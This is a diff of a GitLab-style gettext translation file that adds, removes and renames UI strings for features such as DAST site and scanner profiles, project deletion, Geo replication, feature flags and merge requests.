+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7672,7 +7894,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7684,6 +7915,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7693,12 +7927,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7771,7 +8062,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7849,10 +8140,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7909,6 +8200,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7930,15 +8224,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7948,6 +8251,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7975,6 +8281,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7984,6 +8296,9 @@ msgstr[2] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7996,6 +8311,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8014,6 +8332,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8053,8 +8374,8 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -8101,7 +8422,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8335,13 +8656,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8374,15 +8704,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8464,7 +8785,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8473,6 +8797,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8485,7 +8812,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8590,9 +8920,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8608,7 +8935,7 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8860,9 +9187,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9151,9 +9475,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9322,6 +9643,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9346,7 +9670,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9625,6 +9949,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9952,7 +10279,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9973,6 +10300,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9982,9 +10312,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9997,9 +10324,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -10009,9 +10333,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10024,9 +10345,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10459,12 +10777,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10549,6 +10873,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10558,9 +10885,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10600,6 +10924,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10825,6 +11152,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10996,30 +11326,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11035,12 +11350,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11068,12 +11377,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -11095,15 +11398,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11131,27 +11425,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11164,6 +11443,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11227,6 +11512,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11359,10 +11650,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11539,7 +11830,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11656,7 +11947,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11938,6 +12232,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12214,7 +12511,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12427,6 +12724,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12442,6 +12742,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12574,6 +12877,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12730,6 +13036,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12883,6 +13195,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12898,6 +13213,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12910,13 +13228,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12925,21 +13243,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12952,6 +13273,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12970,6 +13294,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13045,6 +13372,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13111,6 +13441,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13126,7 +13459,7 @@ msgstr[2] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13153,6 +13486,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13165,13 +13504,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13201,7 +13537,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13213,9 +13549,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13312,6 +13654,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13351,6 +13726,9 @@ msgstr "Zadatak"
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13450,9 +13828,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13594,6 +13969,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13636,6 +14014,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13651,6 +14032,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13939,7 +14323,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14170,7 +14554,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14275,10 +14659,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14305,6 +14689,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14368,9 +14755,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14386,9 +14770,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14443,6 +14824,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14464,6 +14848,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14515,7 +14902,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14566,6 +14953,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14581,6 +14974,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14665,9 +15061,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14779,9 +15172,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14917,6 +15307,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14926,9 +15325,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14956,15 +15352,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14980,6 +15376,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15043,6 +15442,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
